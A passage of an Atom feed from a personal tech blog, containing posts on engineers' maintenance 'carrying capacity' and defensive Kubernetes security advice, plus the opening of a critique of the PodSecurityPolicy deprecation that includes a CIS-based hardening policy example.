        <link rel="alternate" type="text/html" href="https://www.macchaffee.com/blog/2022/carrying-capacity/"/>
        <id>https://www.macchaffee.com/blog/2022/carrying-capacity/</id>
        
        <content type="html" xml:base="https://www.macchaffee.com/blog/2022/carrying-capacity/">&lt;p&gt;Take a second to think through all the &quot;stuff&quot; you have to personally maintain at your job. Here are a few ideas:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Physical servers or virtual machines&lt;&#x2F;li&gt;
&lt;li&gt;Internal libraries&lt;&#x2F;li&gt;
&lt;li&gt;A handful of microservices&lt;&#x2F;li&gt;
&lt;li&gt;Some test cases you wrote&lt;&#x2F;li&gt;
&lt;li&gt;CI&#x2F;CD stuff&lt;&#x2F;li&gt;
&lt;li&gt;Helper scripts&lt;&#x2F;li&gt;
&lt;li&gt;Open-source repos&lt;&#x2F;li&gt;
&lt;li&gt;Security&#x2F;legal compliance&lt;&#x2F;li&gt;
&lt;li&gt;Software licenses&lt;&#x2F;li&gt;
&lt;li&gt;All of the tools on your computer (IDE+extensions, shell+extensions, CLI tools, SSH&#x2F;GPG keys, etc.)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Some less obvious ones:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Membership in ActiveDirectory groups or equivalent&lt;&#x2F;li&gt;
&lt;li&gt;Membership in an email alias or chat group&lt;&#x2F;li&gt;
&lt;li&gt;A chatbot (including the one-click installable ones)&lt;&#x2F;li&gt;
&lt;li&gt;All those little no-code, IFTT-type things&lt;&#x2F;li&gt;
&lt;li&gt;Some internal wiki pages&lt;&#x2F;li&gt;
&lt;li&gt;Meeting series&#x27; or working groups&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Depending on company size, pretty much any one of these bullet points could be someone&#x27;s full-time job, but it&#x27;s not uncommon to see one person having to do a little of all of these (I sure do).&lt;&#x2F;p&gt;
&lt;p&gt;I like to think of the collection of things that someone can reasonably maintain as their &quot;&lt;em&gt;&lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Carrying_capacity&quot;&gt;carrying capacity&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;&quot;, to borrow the ecology term. If you take on more than your carrying capacity, something has to die (aka fall into disrepair). With modern software being so garbage, I think one big reason is that there are too many software professionals out there who don&#x27;t know their carrying capacity.&lt;&#x2F;p&gt;
&lt;p&gt;Not knowing your carrying capacity can lead to:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Security issues. All software rots under the deluge of new CVEs these days.&lt;&#x2F;li&gt;
&lt;li&gt;Productivity issues. That helper script you abandoned had a bug that your co-worker had to fix without any context.&lt;&#x2F;li&gt;
&lt;li&gt;Usability issues. That microservice you never optimized is making your users mad (but just subtly enough so they don&#x27;t think to file a bug report, and they experience slow websites all the time so it doesn&#x27;t affect your bottom line, just slowly eats away at their psyche instead)&lt;&#x2F;li&gt;
&lt;li&gt;Trust issues. That working group you established (and later neglected) dis-incentivizes future engagement. See also &lt;a href=&quot;https:&#x2F;&#x2F;killedbygoogle.com&#x2F;&quot;&gt;the Google product graveyard&lt;&#x2F;a&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;More fallout from turnover. When an over-capacity employee quits, they explode like a piñata filled with responsibilities that everyone else has to scoop up. Over-capacity employees also likely don&#x27;t even know the full extent of the responsibilities they do have, meaning some of them just don&#x27;t get picked up.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;So hopefully this post can help avoid those things!&lt;&#x2F;p&gt;
&lt;h2 id=&quot;odds-are-that-you-are-part-of-the-problem&quot;&gt;Odds are that YOU are part of the problem&lt;&#x2F;h2&gt;
&lt;p&gt;I&#x27;m not talking about people who have been pushed beyond their carrying capacity by other people. You don&#x27;t need a ton of self-awareness to know when that&#x27;s what&#x27;s happening. But when &lt;em&gt;you&lt;&#x2F;em&gt; push &lt;em&gt;yourself&lt;&#x2F;em&gt; beyond your carrying capacity, you likely won&#x27;t even notice. And since it&#x27;s tough to notice (and since so much tech is under-maintained garbage), it&#x27;s likely you are part of the problem!&lt;&#x2F;p&gt;
&lt;p&gt;Why is it hard to notice when you are beyond your carrying capacity? Well because you can&#x27;t notice things deteriorating that you don&#x27;t even actively&#x2F;regularly think of. If you&#x27;ve worked somewhere for long enough, there&#x27;s bound to be something you&#x27;ve forgotten about. So many of the building blocks of modern software simply can&#x27;t alert you when they need maintenance. Documentation won&#x27;t email you when it becomes obsolete. You won&#x27;t get immediately sued for every lapse in compliance.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-solution&quot;&gt;The solution&lt;&#x2F;h2&gt;
&lt;p&gt;All we can really do is to consciously think about our own carrying capacities whenever we take on a new task. Frequently re-visit that &quot;list of things you have to personally maintain&quot; in order to avoid blind spots. When you do this, you might be forced to jog your own memory by re-reading those docs or investigating that old VM. This has the (desireable) side-effect of taking up a lot of your time! If you are already responsible for so many things that you spend so much time re-checking them, you definitely can&#x27;t take on new things!&lt;&#x2F;p&gt;
&lt;p&gt;All I ask is for just a little bit more conscientiousness when it comes to maintenance.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Under-documented Kubernetes Security Tips</title>
        <published>2022-09-18T00:00:00+00:00</published>
        <updated>2022-09-18T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Mac
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://www.macchaffee.com/blog/2022/k8s-under-documented-security-tips/"/>
        <id>https://www.macchaffee.com/blog/2022/k8s-under-documented-security-tips/</id>
        
        <content type="html" xml:base="https://www.macchaffee.com/blog/2022/k8s-under-documented-security-tips/">&lt;p&gt;Securing Kubernetes is complex, so there are quite a few guides out there:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;workbench.cisecurity.org&#x2F;benchmarks&#x2F;6083&quot;&gt;CIS Benchmarks for Kubernetes&lt;&#x2F;a&gt; (free account login required)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;www.nsa.gov&#x2F;Press-Room&#x2F;News-Highlights&#x2F;Article&#x2F;Article&#x2F;2716980&#x2F;nsa-cisa-release-kubernetes-hardening-guidance&#x2F;&quot;&gt;NSA&#x2F;CISA Kubernetes Hardening Guidance&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;kubernetes.io&#x2F;docs&#x2F;concepts&#x2F;security&#x2F;pod-security-standards&#x2F;&quot;&gt;Kubernetes Pod Security Standards&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;cheatsheetseries.owasp.org&#x2F;cheatsheets&#x2F;Kubernetes_Security_Cheat_Sheet.html&quot;&gt;Various&lt;&#x2F;a&gt;, &lt;a href=&quot;https:&#x2F;&#x2F;kubernetes.io&#x2F;docs&#x2F;tasks&#x2F;administer-cluster&#x2F;securing-a-cluster&#x2F;&quot;&gt;other&lt;&#x2F;a&gt;, &lt;a href=&quot;https:&#x2F;&#x2F;www.aquasec.com&#x2F;cloud-native-academy&#x2F;kubernetes-in-production&#x2F;kubernetes-security-best-practices-10-steps-to-securing-k8s&#x2F;&quot;&gt;sources&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Unfortunately, following all those guides and patching every CVE still might not be enough. There are some security practices which kinda don&#x27;t fit into these guides, don&#x27;t get reported as CVEs, and just exist in the minds of expensive consultants.&lt;&#x2F;p&gt;
&lt;p&gt;The fast proliferation of Kubernetes has meant that many more organizations are running Kubernetes without the personnel or the money to secure it properly. And yes, that includes you, &quot;person who is primarily a developer, but deployed an GKE cluster 6 months ago while following the CIS benchmarks and hasn&#x27;t looked at it since, thinking it&#x27;s super secure because it&#x27;s &#x27;managed&#x27; by Google&quot;. Hopefully this collection of tips will help you out!&lt;&#x2F;p&gt;
&lt;h2 id=&quot;1-a-secure-cluster-needs-a-secure-organization&quot;&gt;1 - A secure cluster needs a secure organization&lt;&#x2F;h2&gt;
&lt;p&gt;This tip might be the hardest to hear for often-introverted software folks. You can&#x27;t achieve excellent security though technology alone; you also need to deal with &lt;em&gt;people&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;I went through ISO-27001&#x2F;27002 compliance at a previous company, and that standard is mainly devoted to organizational changes. Since the ISO standards are super-expensive PDFs, here are just a few fair-use points:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Establish and enforce policies:&lt;&#x2F;strong&gt; There are &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;open-policy-agent&#x2F;gatekeeper-library&quot;&gt;open-source libraries&lt;&#x2F;a&gt; of Kubernetes-related policies, but your organization might need custom policies like &quot;Public-facing Ingresses require a security review&quot; or &quot;Access to (some sensitive namespace) requires approval&quot;. And what do you do if someone violates the policy? Termination? Now you have to talk to HR. This stuff might even need to be someone&#x27;s (or a team&#x27;s) full-time job.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Implement segregation of duties:&lt;&#x2F;strong&gt; If there&#x27;s valuable data in your cluster, you don&#x27;t want to have a person with unfettered, un-audited access to a shared cluster-admin token (which is common).&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Everyone needs security training:&lt;&#x2F;strong&gt; Multiple days need to be set aside to &lt;em&gt;actually&lt;&#x2F;em&gt; learn about security. Not just your team, but also the dev team, PMs, and managers. No, reading this blog post does not count, but good question!&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Periodically review everything:&lt;&#x2F;strong&gt; If you don&#x27;t &lt;a href=&quot;https:&#x2F;&#x2F;www.theregister.com&#x2F;2020&#x2F;08&#x2F;26&#x2F;former_cisco_engineer_aws_webex_teams&#x2F;&quot;&gt;this can happen&lt;&#x2F;a&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Have an incident management plan:&lt;&#x2F;strong&gt; Preferably one that doesn&#x27;t take &lt;a href=&quot;https:&#x2F;&#x2F;www.theregister.com&#x2F;2022&#x2F;05&#x2F;04&#x2F;heroku_security_communication_dubbed_complete&#x2F;&quot;&gt;three weeks&lt;&#x2F;a&gt;.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;All of these points indicate that running Kubernetes clusters securely is absolutely not something you can &quot;set and forget&quot;. You have to be constantly monitoring, patching, educating, documenting, and improving your security posture just to stay afloat.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-the-kubernetes-api-has-undocumented-verbs-and-subresources&quot;&gt;2 - The Kubernetes API has undocumented verbs and subresources&lt;&#x2F;h2&gt;
&lt;p&gt;Access to the Kubernetes API is very sensitive, but hard to do right. Roles and ClusterRoles are used to list which &quot;resources&quot; and &quot;verbs&quot; that someone&#x2F;something can perform. Like &lt;code&gt;The serviceaccount named &#x27;runner&#x27; can &#x27;create&#x27; (verb) &#x27;pods&#x27; (resource)&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;But &lt;em&gt;there is no complete list of verbs or subresources anywhere&lt;&#x2F;em&gt;. As a result, using a wildcard (&lt;code&gt;*&lt;&#x2F;code&gt;) in a Role is essentially undefined behavior: you could be granting users the ability to use these undocumented verbs&#x2F;subresources.&lt;&#x2F;p&gt;
&lt;p&gt;One example is the &lt;code&gt;escalate&lt;&#x2F;code&gt; verb on Roles. Accidentally granting this to a user allows them to create new Roles for themselves with more privileges than their existing Role. You might as well have just given them full admin access!&lt;&#x2F;p&gt;
&lt;p&gt;Another example is the &lt;code&gt;pods&#x2F;ephemeralcontainers&lt;&#x2F;code&gt; subresource and how it interacts with &lt;a href=&quot;https:&#x2F;&#x2F;kubernetes.io&#x2F;docs&#x2F;reference&#x2F;access-authn-authz&#x2F;extensible-admission-controllers&#x2F;&quot;&gt;ValidatingWebhooks&lt;&#x2F;a&gt;. The &lt;code&gt;pods&#x2F;ephemeralcontainers&lt;&#x2F;code&gt; subresource allows users to create &lt;a href=&quot;https:&#x2F;&#x2F;kubernetes.io&#x2F;docs&#x2F;concepts&#x2F;workloads&#x2F;pods&#x2F;ephemeral-containers&#x2F;&quot;&gt;Ephemeral Containers&lt;&#x2F;a&gt; inside existing pods, but this new subresource could allow you to bypass ValidatingWebhooks that are designed to stop you from running privileged pods. At one point in time, Gatekeeper, Kyverno, and OpenShift SCCs were all vulnerable to this issue. OpenShift SCCs still are, so make sure no one has access to &lt;code&gt;pods&#x2F;ephemeralcontainers&lt;&#x2F;code&gt; (the default).&lt;&#x2F;p&gt;
&lt;p&gt;To sum up: pay very close attention to your Roles&#x2F;ClusterRoles, avoid using wildcards, and watch out for new subresources&#x2F;verbs in the patch notes. Kubernetes RBAC is a good-but-flawed system that is easy to mess up, and the tooling in this area is still quite immature.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;3-remember-that-kubernetes-is-essentially-remote-code-execution-as-a-service&quot;&gt;3 - Remember that Kubernetes is essentially remote-code-execution-as-a-service&lt;&#x2F;h2&gt;
&lt;p&gt;Let&#x27;s say I create an API where anything you POSTed in the request body would be &lt;code&gt;eval&lt;&#x2F;code&gt;&#x27;d server-side. That&#x27;s how you should be thinking of Kubernetes, as &quot;remote code execution as a service&quot; (RCEaaS). Once you accept that, many important conclusions can be drawn:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;I need to take authentication extremely seriously.&lt;&#x2F;strong&gt; Using ServiceAccount tokens is not enough to secure RCEaaS. I need to tie into a proper identity provider, maybe using &lt;a href=&quot;https:&#x2F;&#x2F;kubernetes.io&#x2F;docs&#x2F;reference&#x2F;access-authn-authz&#x2F;authentication&#x2F;#openid-connect-tokens&quot;&gt;OIDC&lt;&#x2F;a&gt;, maybe with 2FA.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;I really need some kind of intrusion detection system.&lt;&#x2F;strong&gt; It&#x27;s very difficult to get proper &quot;defense in depth&quot; for Kubernetes since one slip-up is game over (the attacker gains remote code execution). As a result, you at least need to know when you&#x27;ve been breached. &lt;a href=&quot;https:&#x2F;&#x2F;falco.org&#x2F;&quot;&gt;Falco&lt;&#x2F;a&gt; is one example of a Kubernetes-native IDS.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Maybe I shouldn&#x27;t put all my eggs in one basket.&lt;&#x2F;strong&gt; If one little mistake can lead to RCE, then running multiple clusters may help reduce the blast radius. But be careful: multi-cluster tooling can be complex, so make sure the added complexity isn&#x27;t just increasing the attack surface for no reason.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;With the popularity of Kubernetes and the backing of big companies with huge security teams, it&#x27;s easy to be lulled into a false sense of security. Having the right mindset can help motivate you to take Kubernetes security as seriously as its RCE-aaS design demands.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusions&quot;&gt;Conclusions&lt;&#x2F;h2&gt;
&lt;p&gt;The goal of this post is to spread awareness of the depth that Kubernetes security can reach sometimes. As professionals, it&#x27;s our duty to communicate the scope of new projects, including the security risks and the work required to mitigate them. All too often, I see this duty being neglected or offloaded to flashy security tools that don&#x27;t solve the real issues. Because the real issue are often too organization-specific (section 1), too cutting-edge (section 2), or too abstract (section 3) to be documented anywhere.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>The Fumbled Deprecation of PodSecurityPolicies</title>
        <published>2022-05-08T00:00:00+00:00</published>
        <updated>2022-05-08T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Mac
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://www.macchaffee.com/blog/2022/psp-deprecation/"/>
        <id>https://www.macchaffee.com/blog/2022/psp-deprecation/</id>
        
        <content type="html" xml:base="https://www.macchaffee.com/blog/2022/psp-deprecation/">&lt;p&gt;In &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;kubernetes&#x2F;kubernetes&#x2F;pull&#x2F;7893&quot;&gt;2016&lt;&#x2F;a&gt;, Kubernetes v1.3 was released which included a new API type: PodSecurityPolicies (PSPs). The original &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;kubernetes&#x2F;design-proposals-archive&#x2F;blob&#x2F;main&#x2F;auth&#x2F;pod-security-policy.md&quot;&gt;design proposal&lt;&#x2F;a&gt; had the lofty goal of allowing cluster admins to restrict various Linux privileges to some Pods while still allowing other Pods to use them. PSPs filled an important security hole where having the ability to run pods could let you bypass every other security control in the cluster.&lt;&#x2F;p&gt;
&lt;p&gt;But in 2021, after 5 years of PSPs still being considered &quot;beta&quot;, they were &lt;a href=&quot;https:&#x2F;&#x2F;kubernetes.io&#x2F;blog&#x2F;2021&#x2F;04&#x2F;06&#x2F;podsecuritypolicy-deprecation-past-present-and-future&#x2F;&quot;&gt;deprecated&lt;&#x2F;a&gt;. The maintainers had their &lt;a href=&quot;https:&#x2F;&#x2F;youtu.be&#x2F;SFtHRmPuhEw?t=963&quot;&gt;reasons&lt;&#x2F;a&gt;, but in the year since this deprecation, I believe it was mismanaged for a number of reasons.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;what-are-podsecuritypolicies-psps&quot;&gt;What are PodSecurityPolicies (PSPs)?&lt;&#x2F;h2&gt;
&lt;details&gt;
&lt;summary&gt;Click to expand if you don&#x27;t know what they are already&lt;&#x2F;summary&gt;
&lt;p&gt;The Official docs are &lt;a href=&quot;https:&#x2F;&#x2F;kubernetes.io&#x2F;docs&#x2F;concepts&#x2F;security&#x2F;pod-security-policy&#x2F;&quot;&gt;here&lt;&#x2F;a&gt;, but PSPs are essentially yaml files that restrict &lt;a href=&quot;https:&#x2F;&#x2F;kubernetes.io&#x2F;docs&#x2F;tasks&#x2F;configure-pod-container&#x2F;security-context&#x2F;&quot;&gt;some special permissions&lt;&#x2F;a&gt; that Pods can have such as allowed UIDs&#x2F;GIDs, &lt;code&gt;allowPrivilegeEscalation&lt;&#x2F;code&gt;, hostPath mounts, Linux Capabilities, etc. These permissions are extremely important to control since most any one of them could be used to break out of the container sandbox in some way.&lt;&#x2F;p&gt;
&lt;p&gt;Here&#x27;s an example PSP that implements the CIS Benchmarks for Kubernetes:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;yaml&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-yaml &quot;&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;apiVersion&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;policy&#x2F;v1beta1
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;kind&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;PodSecurityPolicy
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;metadata&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;annotations&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# https:&#x2F;&#x2F;docs.docker.com&#x2F;engine&#x2F;security&#x2F;seccomp&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;seccomp.security.alpha.kubernetes.io&#x2F;allowedProfileNames&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;docker&#x2F;default,runtime&#x2F;default
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;seccomp.security.alpha.kubernetes.io&#x2F;defaultProfileName&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;runtime&#x2F;default
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;restricted
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;spec&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# CIS 5.2.1
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;privileged&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;false
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# CIS 5.2.2
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;hostPID&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;false
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# CIS 5.2.3
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;hostIPC&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;false
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# CIS 5.2.4
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;hostNetwork&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;false
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# CIS 5.2.5
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;allowPrivilegeEscalation&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;false
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# CIS 5.2.6
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;runAsUser&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rule&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;MustRunAsNonRoot
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# CIS 5.2.7&#x2F;8&#x2F;9
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;requiredDropCapabilities&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;  - &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;ALL
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# Needed to stop hostPath mounts, surprisingly not mentioned in CIS Benchmarks
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;volumes&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;  - &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;configMap
&lt;&#x2F;span&gt;&lt;span&gt;  - &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;emptyDir
&lt;&#x2F;span&gt;&lt;span&gt;  - &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;projected
&lt;&#x2F;span&gt;&lt;span&gt;  - &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;secret
&lt;&#x2F;span&gt;&lt;span&gt;  - &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;downwardAPI
&lt;&#x2F;span&gt;&lt;span&gt;  - &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;persistentVolumeClaim
&lt;&#x2F;span&gt;&lt;span&gt;  - &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;ephemeral
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;As far as I know, any Pod that is bound by that PSP will not be able to escape the container sandbox (except via a new zero-day, of course).&lt;&#x2F;p&gt;
&lt;p&gt;Once PSPs are enabled and you have deployed some policies (&lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;kubernetes-sigs&#x2F;kubespray&#x2F;blob&#x2F;323a1113629b7cea77d18a80196e4a2544f747bc&#x2F;roles&#x2F;kubernetes-apps&#x2F;cluster_roles&#x2F;tasks&#x2F;main.yml#L43&quot;&gt;here&#x27;s&lt;&#x2F;a&gt; how Kubespray does it), every new Pod will be checked against your PSPs. There are some complex rules about which policy is eventually applied to your pod (Pod SA, user&#x27;s SA, prefer non-mutating, then alphabetical), but essentially your Pod will either be allowed, mutated-then-allowed, or blocked. To help debug, Pods will be given a &lt;code&gt;kubernetes.io&#x2F;psp&lt;&#x2F;code&gt; annotation which tells you which policy was applied.&lt;&#x2F;p&gt;
&lt;p&gt;Applications can ship their own PodSecurityPolicies if they need special permissions, such as &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;kubernetes&#x2F;ingress-nginx&#x2F;blob&#x2F;helm-chart-4.1.0&#x2F;charts&#x2F;ingress-nginx&#x2F;templates&#x2F;controller-psp.yaml&quot;&gt;this one&lt;&#x2F;a&gt; that ships with ingress-nginx.&lt;&#x2F;p&gt;
&lt;&#x2F;details&gt;
&lt;h2 id=&quot;reason-1-psps-really-weren-t-that-bad&quot;&gt;Reason 1: PSPs really weren&#x27;t that bad&lt;&#x2F;h2&gt;
&lt;p&gt;While it&#x27;s true there are usability&#x2F;complexity concerns with PodSecurityPolicies, I believe this just reflects the fact that container security is a complex subject. Even after a year of dealing with this stuff, I&#x27;m still learning new and troubling ways that attackers can break out of containers.&lt;&#x2F;p&gt;
&lt;p&gt;That necessarily means there are a lot of knobs to tweak. In the video where sig-auth announces plans to deprecate PSPs, &lt;a href=&quot;https:&#x2F;&#x2F;youtu.be&#x2F;SFtHRmPuhEw?t=1921&quot;&gt;they say&lt;&#x2F;a&gt; &quot;&amp;gt;90% of users care about 2-3 policies&quot;. I agree, but any policy mechanism should care a LOT about that last 10% since that&#x27;s where the true, unavoidable complexity lies. This barrier to entry will always be present no matter what implementation we choose.&lt;&#x2F;p&gt;
&lt;p&gt;Additionally, three problems were explicitly mentioned in the sig-auth video: 1) flawed authentication model, 2) difficult to roll out, and 3) inconsistent&#x2F;unbounded API. These problems don&#x27;t come across to me as insurmountable technical obstacles. They just seem like regular constraints&#x2F;tradeoffs that any complex software needs to handle. And indeed they acknowledge that one possible option is to fix these issues rather than deprecating PSPs all together.&lt;&#x2F;p&gt;
&lt;p&gt;So in summary, PodSecurityPolicies are definitely imperfect, but not so deeply flawed as to warrant deprecation. Yes, we&#x27;d have to break backwards compatibility to fix some imperfections (like enabling PSPs by default), but that should be expected from a &quot;beta&quot; API.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;reason-2-replacements-for-psps-weren-t-ready-yet&quot;&gt;Reason 2: Replacements for PSPs weren&#x27;t ready yet&lt;&#x2F;h2&gt;
&lt;p&gt;PSPs were officially deprecated with the release of Kubernetes v1.21, which happened on April 8th, 2021. While PSPs will not be &lt;em&gt;removed&lt;&#x2F;em&gt; until v1.25, deprecation means that new clusters probably shouldn&#x27;t use PSPs. But what should you use instead? That question did not have an official answer until more than a month later when the &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;kubernetes&#x2F;enhancements&#x2F;pull&#x2F;2582&quot;&gt;PSP Replacement KEP&lt;&#x2F;a&gt; was officially merged. But that was just a proposal. The implementation (&lt;a href=&quot;https:&#x2F;&#x2F;kubernetes.io&#x2F;docs&#x2F;concepts&#x2F;security&#x2F;pod-security-admission&#x2F;&quot;&gt;Pod Security Admission controller&lt;&#x2F;a&gt;, PSA) wouldn&#x27;t enter &quot;beta&quot; status until v1.23, &lt;em&gt;8 months&lt;&#x2F;em&gt; after PSPs were deprecated.&lt;&#x2F;p&gt;
